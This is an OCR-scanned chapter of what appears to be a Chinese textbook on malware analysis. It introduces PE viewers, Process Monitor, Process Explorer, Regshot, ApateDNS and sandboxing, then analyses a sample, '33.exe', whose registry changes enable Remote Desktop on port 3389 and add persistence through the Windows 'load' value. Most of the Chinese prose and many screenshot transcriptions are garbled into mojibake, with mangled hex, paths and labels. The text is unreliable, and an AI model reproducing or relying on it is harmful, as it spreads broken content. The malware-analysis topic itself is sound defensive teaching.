IH”I) !E@J mm) it ®) EIICU ‘E‘DQD ﬂahqu

apLe1e18

8BEC ehp. esp
83EC 46 sub esp, 48
. 53 push ebx
poue1017(] . 56 push esi
ooue1018|| . 57 push edi
sose1019|| . 8b7D CO lea edi, dword ptr [ebp-48]
0O4010e1C|) . B9 10000000 mov ecx, 10
66461621 . B8 CCCCOCCE |mov eax, CCCCCOCCO
A0461626() . F3:AB rep stos dword ptr es:[edi]
poup1628|| . S8BFY4 nov esi, esp
op4p162Aa() . 6A BB push (] rStyle = HB_OK|HMB_APPLMODAL
po4s@162C() . 68 30204200 |push fou22030 Title = "yes™
00461831|] . 68 28204200 |push 00422028 Text = "haha"
004681036(] . 6A 00 push ] hOwner = NULL
po481038(] . FF15 ACA2420(call duword ptr [{EUSER32.MessageBoxfA]LMessageBoxA
0040103E(] . 3BFA cmp esi, esp
oou01640|| . ES8 S5BO60GOO |call _chkesp
poup1eus|| . 8BFH nou esi, esp
ao4a1647(] . 6A 0O push ] rStyle = HB_OH|MB_APPLMODAL
A4B1649(] . 68 24284208 | push 00422024 Title = "no"
OO4B16LE(] . 68 1C2842088 |push apy2281cC Text = "paya"
g0Le16853|) . 6n B8 push 5} hOwner = NULL
084681655 |] . FF15 ACA24201call dword ptr [<&USER32.HessageBoxA]LMessageBoxA

E9-14 X#Ei%RE
faj Bt i . PESCHFIE 2 Windows - & L AT ATHEY, Hlffexe. dll. com. sys. ocx
EFHAICAE
BEARAEH T AL R B A2 PESCAFAR 2, A4 b AT LUAE & 11 2 A PESCAF I B A
korHriweE, WStud PE.

2. Stud_PE

7EStud PE (MLE9-15) ) “FE16HEALgnt 28 H AL SO kA7 il “Huds B3 B
&, BILLEREHLE B8 24 T UPX5E (WLE9-16) .

5 Stmd_PE fmEg- - B aaa exe”
ik E) R E) TE O iRsAnh

— 132 &WHEA&EFF]

| Ieydocuments and settingstadmin| S EVE 14 asa.sx=
] > ik | YDos| oER | @m | reiE | P L | e | sEm |
SUfEE  dEESHEeEnE) = BF

['ooozoE7D N
[Co006270 Mm% (Rl il e SERREE

00400000 BRISIELL | s || ooozrooo [ooooooeo  [ooooseoo ‘
e it 00000000 | 00000000 | 00000000
00001000 EEGHSE ||ﬂ” J J l

| oooooz200 semFE

0003 | E&EE EHEF: | BB _mE_a= =]
[T oir  warm Iel Gorio |[+ |[00000000  [00000000 [ 00000000
DODD1000  Srgesioids

[D00D0000 #3e70 [ EiciipmmaemEretaa || s |
= —

| FA SRR R - B [ mimzer |[Rva<—sRaw || zerbem |

S5tud PE %5 : D05 3Pk
FES 4 0x00000000 LA~ Dx300

E9-15 Stud_PEIhRERE
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FTFFStud PE = 18] {9 2R Bk 1

9-17)

00 00 00 OO0 00 00 OO OO0 00 0D OO0 OO 00 OD OO OOfY
00 00 00 OO0 DO 00 OO OO0 OO 0D OO OO 0D 0D DO OOfY
00 00 00 OO0 DO OO0 0O OO D0 0D 00 OO0 00 0D DO OO)Y
00 00 00 00 00 00 00 008 20 2

E9-16 UPXZ%

S5 aaa exe” -
THE WEE TAO HEW
‘ io:\dacuments and settings\admin\ EE\E 1+ aaa.exe

sk | ®Dos| OES ™ Em | Rl
AR

[32 femH#ER]

|»&s |

E9-17 HEHHHFE

FE

, AT LAY S TR B AR U R R L

&

H P KERNEL32 DLLE () 2 2 (i winmain A [ %, USER32.DLL3EZ |2
MessageBoxA, XA[EZEMFEHE N THLAER 210, Kt —ZK oW PESCHF FIEKAHFE In 572 /2

PR By o b BT AR 1,

28R, AR TR R U EEs

Walker — [Bff aaa. exel

FALF At i PEview.

—Dependency Walker ( M1LE9-18) .

Bp File Edit Yiew Dptiens Profils Yindew Help -8 X
EH 2R o=
=- Al ID!r].\nal [ Hint [ Punction [ Eatry Foint [
j 0 W |0 020000) | Ressagebonn | Kot Bound |
SECUR32. DIL
(%] ATVAFT3Z 0L 1 [Ordinal =~ [ Hint Functior Entry Puini -
o [§] XERFELIZ. DIL [=] 1 (0x0001) | 0 (000000 | ActivateKeybsardlayout 0=000126T3 =
WIDLL DIL [} Z 0x000z) | 1 020001 | Adjast¥indowkeet 0xO00ZL 140
FETAPTIZ. IIL £ | 3 0:0003)| 2 020002 | Adjost¥indoskenic 0=000127EA
[&] ADVAET3C. DIL B | 4 0:0004)| 3 i0<0003) | 15 erRects 0:000504ED
KERAELIZ. OIL B8 5 [0=000s) 4 0200047 | K11 0wForegroundietivation 0=00045414
WEVCIT ILL [=m} B 0z0008) | 5 i0<0005) | A11lewSetFore ground¥indor 0z00011E40
TTiLine [+=] T 0xO007) | B i0xOO0S) | Aninstefiindoe 0xO001Z156
et il Bl | & 0:0008)| T i0=0007) | nyPopup 0=00053027
S i | B3 | @ 0e009) | & 10:0008) | hopendenah 0=00021108
< i 5 ‘>I E 10 (0=000A) 9 i020009) | Appendlenall 0xz000132BA
Ll ! 11 iernEY | A0 im0y | b e Taned s e nennnasman
[ Medule File Time Stamp | Link Time Siam |F|1e Sne [attr. [ Link Checksun | Fesl Checksun | CEV | Subsysten | Synbols | Preferred Base
MTWA DL | Trrer wenias Fils. BERCIOEERTE =
MEE. DLL 2008-04-14 20:00 2002-04-11 10: 13 59 a0t | L Dx0DO1EEEL Dhe0ODIEBEL =82 Conzole cvr 0xT 1400000
GLL3Z JLL Z00E-04-14 Z0:o0 2a05-04-14 1001 Zih, 15t | A Ox0004360% DO0D49E0E =] Lonzole v DT TEFOOO0
IERNELIZ. ILL | Z008-D4-14 20:00 |2008-04-14 10:13 1,150, 464 | & 100122425 000122528 285 |Console or 0xTCE00000
NIDLL JIL 2008-04-14 20:00 2002-04-14 10: 12 580, 212 | L D=00097CET Dec0ODSTCET =82 Conzols cr 0 TCO20000
VSER3Z.ILL | Z0DG-D4-1d 20:00 |Z005-04-14 10:13 574, 973 | & 200080421 Dx00DEI421 |G or 0xTTIL0000
Ht ik BXE| 2015-04-29 22:23 | 2015-04-29 22:23 28,672 | b 000000000 000015008 B |our Hore 0:00400030
SCTTVEIS TLL| 2006-04-14 20:00 | 2008-04-14 10: 12 19z, 000 | & D0003TE6 000TTRIR =B |Consale or 0:TTCI0000
S ADSLOPC. OLL | 2006-04-14 20:00 2006-04-14 10:12 143,300 | & Dx000281A3 DecOODZE1 AT il Console cy 0 TEDEAOD0 &

E9-18 Dependency Walker5EmE
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“ONN BESRERAEE

T RAG A28 W A5 K PR EFE I 4% B AF—Process Monitor F1 Process Explorer.

3. Process Monitor, i##2 4225 ( fajFRprocmon )

procmonff] £ S W E9-19F 7, B LRI 528 75— MNP R 5
RS

=) Process Honitor — Sysinternals: www.sysinternals. com

File Edit Ewxent TFilter Tools Options Help

ZH | ABE | <A B &5 ([ #BAJM

g1 e FProcess Mame FID Operation Path Kesult Detail

9:39. .. £F Procmon. exze 3236 aFﬁSTID_H'ETﬂ C:\RINDOWS,syrstem32\dbghelp. d11  SUCCESS CreationTime:. . .
9:39... &f Procmon. eze 3236 B._FﬂSTID_H'ETW. L ARINDOWS\ srstem32\dbghelp. d11  SUCCESS CreationTime:...
9:39. .. £F Procmon. exe 3236 a IRF_ W] _CREATE C:\RINDORShsrstem32hdbghelp dl1 SHARING VIOLA. Desired Acces. ..
9:39... &f Procmon. eze 3236 Sk FASTIO_NETR. ..C:\RINDOWS\system32\MSCTFIME. INE SUCCESS CreationTime:. ..
9:39. .. £F Procmon. exze 3236 g\FnSTID)I'ETW. L L \RINDOWS \ system32\MSCTFIME. IME SUCCESS CreationTime:. ..
9:39... £F Procmon. eze 3236 ans-rm_mrw. . C:A\RINDOWS\srstem32\MSCTFIME. IME SUCCESS CreationTime:. ..
9:39. .. £F Procmon. exe 3236 aFnSTID)I'ETW. L CA\RINDORS \ system32\MSCTFIME. IME SUCCESS CreationTime:. ..
9:39... £F Procmon. eze 3236 a IEP_MJ_CREATE C:\RINDORS\system32\MSCTFIME. IME SHARING VIOLA... Desired Acces...
3:39.. : l=ass. exe 08 ﬂhe:ﬂpenﬂer HELM\SECURITY\Policy SUCCESS Desired Acces. ..
9:39... []lsass. exe 708 @Y RepOpenfery HELX\SECURITY\FolicrhSecDesc SUCCESS Desired Acces. ..
9:39... |lsaszs. eze 708 @ Regfuerr¥alue HELX\SECURITY'\FPolicr\SecDesch (... BUFFER OVERFLOR Length: 12
9:39.. ___ lsass. exe 708 ﬁRezClnsa]ﬁer HELXY SECURITYY\Folicy'SecDesc SUCCESS

9:39... |lsazs. exe 708 @ RegOpenker HELX\SECURITY'PolicrhSecDese SUCCESS Desired Acces. ..
9:39.. : lsass. exe 708 nReEQuerﬂlalue HELKY SECURITY \FolicyhSecDesch (. .. SUCCESS Type: REG_WON. ..
9:39... [|lsass. exe 708 @ RegClozeker  HELM\SECURITY'Policr'SecDesc SUCCESS

9:39. . : lsass. exe 708 ﬁhegtlnseﬁer HELX'\SECURITY\Folicy SUCCESS

9:39... []lsazs. exe 708 Y RegOpenKer HELX\SECURITY'\Policr SUCCESS Desired Acces. ..
3:89.. : lsass. exe T08 ﬁhe:ﬂpenxey HELM' SECURITY \PolicyhSecDesc SUCCESS Desired hAcces. ..
9:39... []lsass. exe 708 @ RegQuery¥alue HELKYSECURITY'\PolicrhSecDesch (... BUFFER OVERFLOR Length: 12

3:-89: . : lsass. exe 708 ﬁne:ﬂosel{ey HELXY SECURITYYFolicyhSecDese SUCCESS

9:39... []lsass. exe 708 B RegOpenker HELX\SECURITY'FolicrhSecDesc SUCCESS Dezired Acces. ..
9:39... [|lsass. exe 702 @Y RegQuerrValue HKLXSECURITY\PolicyiSecDesch (... SUCCESS Trpe: REG_WOW. ..
9:39... []lsass. exe 708 @ RegCloseKer  HKLXYSECURITY‘FolicrhSecDesc SUCCESS

9:39... [[]lsass. exe o2 ﬂRezCloseIer HELXY SECURITY \Policy SUCCESS

9:39... &7 Procmon. exe 3236 BJJISTID_H‘.ET‘H. .. C:\RINDOWS system32'lsass. exe SUCCESS CreationTime:...
9:39... £F Procmon. exe 3236 Bk IRP_WJ _CREATE C:\WINDOWS\srstem32ilsass. exe SUCCESS Desired Acces. ..
9:39... &7 Procmon. eze 3236 BFJISTID_ACQU. .. C:\RINDOWSYsystem32'lsass. exe SUCCESS SrncTrpe: Syo...
9:39... £F Procmon. exe 3236 Bk FASTIO_QUER. . C:\RINDOWS\srstem32\lsass. exe SUCCESS Trpe: RuerySt. ..
9:39... & Procmon. exe 2236 Sk FASTIO_KELE, .. C:\RINDOWS\system32ilsass. exe SUCCESS

9:39. .. £F Procmon. exe 3236 Bk FASTIO_ACAV. . C:\RINDOWS\srstem32\lsass. exe SUCCESS SrncTrpe: S57n. ..
9:29. .. & Procmon. exe 2236 b FASTIO_KELE. .. C:\RINDOWS\system32ilsass. exe SUCCESS

9:39... £&f Procmon. exe 3236 Bk IRP_MJ_CLEANUPC: \WINDOWS\srstem32\lsass. exe SUCCESS

9:29. .. &F Procmon. exze 2236 S IRP_WJ _CLOSE C:\RINDOWS\system22ilsass. exe SUCCESS

9:39, .. £&f Procmon. exze 3236 Bk FASTIO_NETR. ..C:\WINDOWS\srstem32\lsass. exe SUCCESS CreationTime:. ..
9:29. .. &F Procmon. exe 2236 @b IRP_WJ _CEEATE C:\WINDOWS\srstem22\lsass. exe SUCCESS Desired hcces. ..
9:39, .. £f Procmon. exze 3236 Sk FASTIO_ACQU, .. C:\RINDOWS\srstem32\lsass. exe SUCCESS SrncTrpe: SFn. ..
9:39. .. &f Procmon. exe 3236 Bk FASTIO_QUER. .. C:\WINDORS'srstem32\lsass. exe SUCCESS Trpe: RuerySt...
9:39... &F Procmon. eze 3236 Bk FASTIO_KELE. .. C:\RINDOWS\srztem32\lsass. exe SUCCESS

9:39... £F Procmon. exe 3236 B.rns*rm_acau. . CoARINDOWS srstem32ilsass. exe SUCCESS SrncTrpe: Sym. ..
9:39... &f Procmon. exze 3236 Bk FASTIO_RELE. ..C:\RINDOWS\srztem32\lsass. exe SUCCESS

9:39. .. :l Srstem 4 a IRF_MJ_QUER. ..C:\RINDOWS\srstem32\lsass. exe SUCCESS Tyrpe: QueryHa. ..
9:39, .. £F Procmon. exze 3236 B”- IRP_MJ _CLEAMUPC: \RINDOWS'srstem32ilsass. exe SUCCESS

9:39. .. £F Procmon. eze 3236 g. IEP_]U_ELGSE C:\RINDOWS\system32\1sass. exe SUCCESS

9:39, .. =f Procmon. eze 3236 gFﬂSTID_}I'ETW. L L ARINDOWS \ srstem32'\1sass. exe SUCCESS CreationTime:. ..
9:39. .. £F Procmon. eze 3236 E_:]._ IEP_MJ _CREATE C:A\RINDO®RSYsrstem32'lsass. exe SUCCESS Desired Acces. ..
9:39... &F Procmon. eze 3236 aFnSTID_ACQU. . CoARINDOWS\srstem32ilsass. exe SUCCESS SyncType: Syo. ..
9:39... £F Procmon. exe 3236 aFnBTIDJQIIEE, LC:\WINDORS\ system32\lsass. exe SUCCESS Type: QuerysSt. ..
9:39... £&F Procmon. eze 3236 Sk FASTIO_RELE...C:\RINDOWS\csystem32'lsass. exe SUCCESS

3:39.. . & Frocmon. exze 3236 Ea.,lhlSTID ACQU. . . C: \WINDOWS\system32\lsass. exe SUCCESS SyncType: Syn. ..

E9-19 procmon=E5iHE
R IR — AP R, 4T FFEvent PropertiesXf ifAE, 7] LA 21X AL 7 i i)
DLLEES:. QI 5is1Th R, WE9-20/17R. 7EProcessitIi & al LLE FF2F FITEM &
SeHhE LR f5 BN R R T NS DLLEE S LA, Wi 9-21 R Mif/a— Stackik
i, WA TR LLEOINE K DLLEE i $E N FEh AL B .
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= Event Properties

Event |process |

Stack |

Date: 2015-4-30 9:39:20

Thread: 3972

Class: Flle system

Operation: FASTIO_NETWORK_QUERY_OPEN

Result: SUCCESS

Path: CWINDOWS| sy stem3z2)dbghelp . dit
Duration: 0.0000001

CreationTime: 2008-4-14 20:00:00
LactAcceccTime: 2015-4-30 9:30:20
LastwriteTime: 2008-4-14 20:00:00
ChangeTime: 2014-10-14 20:16:17
AllocationSize: 643,072

EndOfFile: 640,000
Fileatoibutes: A

LI LI [Irnext Highlighted

=T

RS

i

= Event Properties

Event | Process [stack |

Image

B Process Monitor
Sysinternals - weew, sysinternals.com

Mame:  Procmon.exe

Wersion: 3.11

Path:

Ci\Documents and Settiﬂgs\édﬂh\ﬂﬁ\ﬁﬁﬂﬁﬁ‘ﬁ\ﬁucassMunwtvr(l)\Prucmuﬂ‘ex|
Command Line:

."C:\Documents and Settings\amin\iﬁ\gﬁﬁég}-ﬁ\%ceﬂur&nr(I)\Prm:mon.eI

PID: 3236 Architecture:  32-bit
Parent PID; 1956 Wirtuslized:  nfa
SessionID; O Integrity: nfa
User; ASD-297E0F06990 admin
Auth ID: 00000000:00026F a6
Started: 2015-4-30 9:39:19 Ended: (Running)
Modules:

Module Address

Procmon, exe (0400000

FLTLIE.DLL

3

uxtheme, dil 0x5adc0000 C:y WShsy:

NETAPI3Z.dI 0xSFdd0000 C:AWINDOWS\system3 |

] i L] B
4] ¥ | Cinest Hopighted (coa J[ cise ]

E9-20 EventikIn

E9-21 Processi%Iil

ZFE A ) 2 Process Monitor FilterFh g, W& 9-22F7 7.

M Process Honitor Filter

Display entries matching these conditions:

)

EEvent ...

IRP_MI_WRITE

IRP_MN_QUERY _INFORMATION
Load Image

Process Create

Process Exit

Process Profiling

Process Start

Process Statistics

RegClosekey

RegCreatekey

RegDeletekey
RegDeletevalue
RegEnumkey

|0peral:ion V“is V|| w | then |lnc\ude V|
TIRF_MI_SET_VOLUME_INFORMA
IRP_MI_SHUTDOWN A e
IRP_MI1_SYSTEM_COMTROL :] K
IRP_MJ_WOLUME _DISMOUNT
G IRP_M1_VOLUME_MOLINT

" T

RegEnumyalue
RegFlushKey
Regloadkey
RegOpenkey
RegQueryKey

Re ultipley
RegQuetyValue
RegRenamekey
RegSetinfokey
RegSetkeySecurity

RegSetyalue b

E9-22 Filteritig

HEF AT LAZEFilter P E B AR MR PR A eR B, IXAE AT DAS B T AR A e R, [ INH T
DU S0 P 0] 555 B O -7 D) BEREAT TR MR 32 .
HLBERFEITERNEREHEN, BRZXFTHF+ 1A Process Tree (ToolsiEi T
F24Y) Thig, (HEALESE T REZEN BRI,
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4. Process Explorer

Process Exploreri] UM #E#2. PID. CPUNHEE—H T, Hdirid AR
PR, 60 RGUHE, SOEAFBITIHE, WE-230R. ATEERGELHRZ
BB, FTRATIF “HEI0” SER T “RiEME T ES (MicrosofthiE) ” Mé.

wyw. sysinternals. com [ASD-297B0F06990%admin]

®y Process Explorer — Sysinternals:

I#HE Efe NBWw #EE o AP e
‘d @ EBERAE A AP { THE= [ e /i 1:] AR
HE CPU REEE T PID| W LEEH EilgE &
B T érstem X 2% K 4
j[nterrupls < 0,01 4 ) 4 nfa Hardware Interrupts a. ..
= [Fsnss. exe 208 & 444 K 580 Rindows NT Session Ma... Microsoft Corporation (24iE
[Fosres. exe 2,636 K 6,912 K G2BClient Server Runtime .. Microsoft Corporation (B
= .\ﬂnlo:o:\. eze 8204 & 5,384 K 652 Windows NT Logon 4ppl... Microsoft Corporation (B4
=) [F]services. exe 1,816 K 3,504 K 695 Services and Controll... Microsoft Corporation (B#iE
[Fvazcthln. eze T2 K 2,608 K 880 VHwmre Activation Helper VMware, Inc. 4=F 373
D!lnhﬂlt.a- 2,95 K S, 444 K 896 Generic Host Process ... Nicrosoft Corporation [(BiE.
[F]svchost. exe 1,924 X 4,452 K 964 Generic Host Process ... Microsoft Corporation (BEiE
a:s':huit.uﬁ 18,212 X 27,600 K 1060 Generic Host Process ... Microsoft Corporation (S#iE
wmauclt, exe 5,772 % 5,420 K 2016 Automatic Updates Microsoft Corporation (DREIE
Dwsmlf:. exe 664 K 2,464 K 1408 Windows Security Cemt... Microsoft Corporation (B
svchost. exe 1,416 K 3,720 K 1148 Generic Host Process ... Microsoft Corporation [B#iE _
[Fsvehost. exe 1, 7% X 4,552 K 1260 Generic Host Pracess ... Microsoft Corporation (B#{E
spoolsy. exe 4,79% X 7,148 K 1432 Spooler SubSystem dpp Kicrosoft Corporation (S
vmtoolsd exe 9,368 X 12,276 K 1676 VXware Tools Core Ser... VMware, Ine. (BRI
alg. exe 1,240 K 3,704 K 192 ipplication Layer Gat... Microsoft Corporation (S
L:Jﬁﬁ'rnutocmmsv:,,, 1,468 K 4,464 £ 392 ThinPrint AutoComnect... Cortads AG (BEE
TPAutoConn. . . 4,284 X 7,916 K 1000 ThinPrint #utoConnect... Cortado &G (EHiE
Bilsyi axe 2,372 K 4,132 K 1724 Image Mastering API Yicrozoft Corporation (B,
1sass. exe 3,844 K 1,224 K 708 LSk Shell (Ezport Wer... Microsoft Corporation (B¥iE
=] Q explorer. exe 0. 38 35, 716 X 72,716 K 1988 Windows Ezplorer Nicrosoft Corporation (ZdiE;
[ vmtoolsd. exe 11,424 X 16,660 K 1024 VHwmze Tools Core Ser... VMware, Inc. (E®E
P Adobedid. exe 4,252 X 8 216 K 1084 Adobe Keader and Acro... Adobe Systems Inecor... (SH#iE
A ctimon eze agd X 3,762 K 1036 CTF Leader Microsoft Corporation (BRIE
notepad. exe 1,564 K 520 K| 3432 B4 Kicrosoft Corporation (S
T notepad exe 1, 564 X 828 K 3356 iZB& Wicrosoft Corporation (B |
notepad exe 1,564 T4 K 512 @B& Microsoft Corporation (B#iE
WinRik exe 4,640 K 712 K 1352 WinRAR archiver Alezander Foshal (Ead:
) SoeouClond exe 2,344 X 7,05 K 2908 WREAK Si-ELE Sogou. com Inc. [E®IE
'znmcm. eze 1.45 26, 316 K 17,872 K 1704 Srsinternals Process ... Srsinternals - wew.... (EFFi
gl conime. exe < i | 5
CPUBSAREE: 1.81% 1BATWA: 14.15% | FHISE: 34 ATMEEE: 37.21%

5. Regshot

E9-23 procexpif F2 1

Regshot/e —FIE MR Adr “REE (A) 7 LHEIT His ok, s “thig
(B) 7 i IANEMRE TGN, URAEEETM RGeS ™ER SRS, W
E19-24 17

& Regshot 2.0.1.66 unicode
It o) eEe) RE N

[izsshzgeis
TR R
Ci\Docurments and Settings)admin S IE]

&S0 bLE
Report |

A IERTARE:

Mgl v

[Fl9-24 Regshot
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EoE BETHE L /////////éC

924 EWINGEE

BN B B TR TN T O SSREssas - Wi Workstaton
RIS, B — SRS L | 20 T8 TR0 e o e
A LR R 1 BB | et = —
VMware WorkstationZK {41 | 9-25 57 7~ E9-25 Vmware WorkstationZR {4
VMware Workstation[t] %25 i 8 DA R EEAAS A 7 U5 VBox e fel, ARHIA, IXHE %
BT N E I EL R

ApateDNSE A S 1 9-26 T 7~

r -
I? ApateDNS Ellef=]
Capture Window |DNS Hesx Vievt‘

Time Domain Requested DNS Returned
DHS Reply TP (efault: Current Gatway/DFS). .127.0.0.1
— Server
# of NXDOMAIN s: 0
Selected Interface: [Whu'. Virtual Ethernet Adapter for VMnetZ v]

E9-26 ApateDNSE5FH
$TTF ApateDNS, #F ¥ FH1i [#) CaptureWindow £ T+ T 2 B 7R 17 [ Internet ] P4 2535 5 »
7E N 77 JDNS Reply IPANIE S ) o] () EFAIPHEHE, 7ESelected Interfaceibik ¥ M fIHL 2
AT 4%, BAdiStart ServerdZ4ll, 45 BUE9-27H1 7.

¥ ApateDNS == =]

Capture Window |DIS Hex Viu‘

Time Domain Requested DHS Returned
21:17:01 £ localdomain FOUND
21:17:02  auto. search msn com FOUKD
21:17:03  wwe. g com FOUKD
21:17:056  wwe g oorg FOUKD
21:17:06 wwe. 2. net FOUND
21:17.07 www, 2. edu FOURD

[+] Attempting to find DNS by DHCP or Static DNS.

[+] using IP address 127.e.e.1 for DNS Reply.

[+] DNS set to 127.@.8.1 on VMware Virtual Ethernet Adapter for wMnet2.
[+] Sending valid DNS response of first request.

[+] Server started at 21:16:27 successfully.

DS Reply IF (Mefault: Current Gatway/DNS):
— Server
# of NXDOMAIN s: i

Selected Interface: (WMware ¥irtusl Ethernet Adapter for Winetz | Siepala E

E9-27 BITRE&R
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lé\\\\\\\\\ % mmszentinn )

W 5 7E R UL R 4T FRAE RS — AN, bk AR T S k3% B4 A 1 JE SIP kL, [R] B
ApateDNS T H& W B 05 0] () WG . @ AR E VRSN b 7 i B2 (1 N 25 3h &, 1 AE A
Wiresharki#F 1741 £

Y8R, FUmERA RIEUVEAR, BIEEMVTE FREASIEIT, X5 S
FHybs/vb & OLE9-28) A% BRIFIIA L .

{8 sandboxie Control
Fle View Sandbox Configure Help
Program Name PID Window Title

> Sandbox DefaultBox

E9-28 b#E
BREFHEANDHE, RTUE— 1N 2R FEiTT.
BB LR B T B m AT AT A B DR ARSI dEH .

925 JREZLEISH

HE LT RN R NIEAT.
33exe (ME9-29) & DUMBPEICAF, SeffHRFHIANHHTFIIER.

[El9-29 33.exe
(D) SEX BN T — KRB, EARZKIEIRE&D, HEIEFKAWEITHSEG BIE

A&V, WE9-305TR.

FERSEAE - nEnE [=]
(L BIHAEREERI L RE RIANATS, LIBL SRR
&) ERms.

EFR(N): HRER 1
(D) jzi733.exe v Al

(emeeD | [ mE
E9-30 HEER=
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(2) FEEMMLE, LRSS MR, RS B R e L= M 4%,
I E9-31 %
Selacted Interface: [Vitware Virtual Ethernet Adapter for WinetZ |
E9-31 KBERMMLE
AT EM AR LS, AT LR SHA AT N EX AT 20 #r e
(3) 9TJTRegshot¥kft, M HIEATPIUCHRIE, PR FE G £ 4 30 i M RO BaiE (s
B, mE9-32577R

& Regshot 2.0.1.66 unicode
I R0 R E) RE #Eh

Cligssimmi e

RS EFET tRE8E)
lC:'l,Documents and Settings'admin’ S ' |E] &1k
(E1733.exeZ Al | -
AIEEIHR S Et

=T

Bl g v

E9-32 EMRMRE
I (A) 5e¥I5IE1733.exeffF, [AIE{ FProcess Explorerif 1T 2 1532 BE)iB1T
33.exe, AREHTIE (B) , RETEFERESBE—MoriRE Mo, AT CLE MM
RN (HE9-33~189-36) .

5 HERIEYS Regshot 2.0.1.66 unicode — Hicrosoft Internet Exzplorer
THE &HEE BFEY WEe TA@ HBEhon

Q- © HEG Pm iz @3 223

Hihk o) ‘@ C:\Documents and Settings‘Administrator \EE'33 \Eeport. 1. html

CHERR (o) BT A

FigmeE (7) ke B

[HEEY LOCAL MACHINEYSOFTWAREY Microsoft) Windowsh CurrentVersioninetcache]
[HKEY_LOCAL_MJLCHINE‘\ SYSTEM\ ControlSet001% Controly Terminal Server' RDPTcp]
[HKEY LOCAL MACHINEYSYSTEM\ ControlSet001%Services’ RDPWDY Enum]

[HKEY LOCAL MACHINEYSYSTEM\ControlSet001%Services) TDTCP}Enum]

[HEEY_LOCAL_ MACHINE%4SYSTEM\CurrentControlSet)Control)Terminal Serwver’RDPTcp]
[HKEY_LOCAL_MACHINE‘\ SYSTEM\ CurrentControlSet) Services) RDPUDY Enum]

[HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet)3ervices\TDTCP)Enumw]

E9-33 FMERTW (1)
ME9-33, AfLLFE B mEEMREE, P HRDPTcpMTDTCPY AN E 3)
“3389” , HAk Iz R 5 1 4% I 1) v A (E PortNumber [R{E 15 2 43389,
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lé\\\\\\\\\ % mmszentinn )

CMERE (1) R A
[HKEY _LOCAL_MACHINE', SOFTWARE", Microsoft', WBEM', WDM ]
"C:\\WINDOWS \system32) \DRIVERS\\ ipnat.sys [ IPNATHofResource] "="LowDateTir

FrEEm{E (15) e

[HKEY_LDCAL_MACHINE, SOFTWARE" Microsoft', Windows', Current¥ersion', netcache]
"Enabled"="0"

[HKEY_LOCAL_MACHINE', SYSTEM", ControlSet001", Control, Terminal Server,RDPTcp]
"PortNumber"=dword: 00000d3d

[HKEY _LOCAL_MACHINE", SYSTEM' ControlSetDD1 Services', RDPWD Enum]
"0M"="Root\\LEGACY_ RDPWD\'0000"

"Count"=dword: 00000001

NextInstance"=dword: 00000001
[HKEY_LOCAL_MACHINE', SYSTEM", ControlSetDD1' Services', TDTCPY Enum]
"Or="Rooth LEGACY_TDTC PYYy0ooo"

"Count"=dword: 00000001

"HextInstance"=dword: 00000001
[HKEY_LOCAL_MACHINE, SYSTEM", CurrentControlSet', Control', Terminal Server', RDPTcp]
"Portiunber "=dvord: 00000d3d

[HKEY _LOCAL_MACHINE' SYSTEM', CurrentControlSet', Services' RDPWD" Enum]
"Qo"="Root\\LEGACY RDPWDY%0000"

"Count"=dword: 00000001

E9-34 FMERT (2)
Bl (13) tEE A

[HKEY_LOCAL MACHINE', SOFTWARE'Microsoft', Cryptography'\RNG]

"Seed”=hex:95, 60,dd, ee, 28, 8, ¢4, 59, b8, 06, 4a, df, 3£,77,51,2, 51, 26,02, 0%, 4d,83,\
26,84,46,ba,bl,59, 6d,cf, Oc, 79, 5¢,05, 0k, c5,d3, 51, 5¢,0c,b3, b0, 69, 58, dc,al, ca, \
Ob,34,5d, 41,05, £7, fc,07,50,7d, 36, a6, 46, 28, 2b, 5d,e7,59,c1, ec, c4, 13, eh, 9¢, 32, \
fd,as,2d,be, 73, ee,3a, £0

"Seed”=hex:0f,b3,11,2d, 18,bb, Of, c5, ce, 6b,03, 28, £5,43, 61,62, d0, 26, 4b, 24,75, 24, \
2a,34,ac,49,13,a9,30,de, 50, 1, 88, 50,d7, c0, 2a, 19,df, ec, ec, 2d, 38, 43, 66,57, cb, \
08,0e,0b,34,4a,b9,54,be,09,09,0£f,3¢c,c5,8e, 44, ae, a3, 44, 6c,ca, £2,b9, 0e, 95,78,
Oa,£3,44,79, fh,e8, a5, a0

[HKEY_LOCAL_MACHINE', SOFTWARE" Microsoft', Windows NT' CurrentVersion', ProfileList,5-1-5-19]
"RefCount"=dword: 00000002

"RefCount"=dword: 00000001

[HKEY _LOCAL_MACHINE", SYSTEM' ControlSetD01% Control', Terminal Server ]
"fDenyTSConnectionst=dword: 00000001

"fDenyTSConnect ions"=dword: 00000000
[HKEY_LOCAL_MACHINEY SYSTEM', ControlSet001', Services' SharedAccess' Epoch]
"Epoch"=dword: 00000018

"Epoch™=duord: 00000019

[HKEY_LOCAL_MACHINE, SYSTEM', ControlSet001'\ Services\ TermDD]
"Start"=dword: 00000001

"Start”=dword: 00000002

[HKEY_LOCAL_MACHINEY SYSTEM' ControlSet001% Services', TermService ]
"Start”=dword: 00000003

"Start"=dword: 00000002

E9-35 EMEEWN (3)
[HKEY _USERS", .DEFAULT"Keyboard Layout', Toggle]

"Hotkey"="1"

"Hotkey"="2"

[HKEY _USERS" S-1-5-18"Keyboard Layout', Toggle]

"HDtkEY"="1"

"Hotkey"="2"

[HKEY_CURRENT_USER" Software’ Microsoft', Windows NT' CurrentVersion', Windows]
"loadr="r

"load"="C:44 WINDOWS\ \ system323433.exe”

E9-36 FMFEZW (4)
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ME9-367, i /EHKEY CURRENT USER\Software\Microsoft\Windows NT\
CurrentVersion\Windows\load, Load ="C: \\WINDOWS\\system32\\33 exe", 7] PAF 33 exe
BHAGEHEREGHR, HHESKloadB (A, SCIFETFREEME B R 3.

BAT5ELLE, 33.exe NI L “WH” , T Hprocexpfili#€ #llemd.exeH 11547 (L
’9-37) ifFE, H LRI LAHERTHA FHCMD iy 2 24T B MR -

I_E.’;.Z:T'lif“ | 0n Lsex retex 166 Mindoes et
CPUfEFAZE: 14.13% | 3RAEHM: 11 93% | BHEE. 31 AFERAE: 27048
El9-37 T Hprocexphiie

MERTE AT A BB KGR A S s, 1R B R Mz G T R GER K,

WPE9-38f 7 o

&E: Windows THIFFARET XIS,
Q e BERE | @
JH:LTﬁFLr‘J*EEEEEbE%ﬁ B “EFE E@fﬁﬁ” ‘d:‘?wmduws BE A EE BH{EF

VHALER dEF).
BHBSEHN© | 4

TAE | 2

Hindows EVHEHL FHOTBED maicte. Bhmes #ﬁ%fa’k#@&ﬁ‘l‘ﬁﬂi"‘rﬁlﬂ
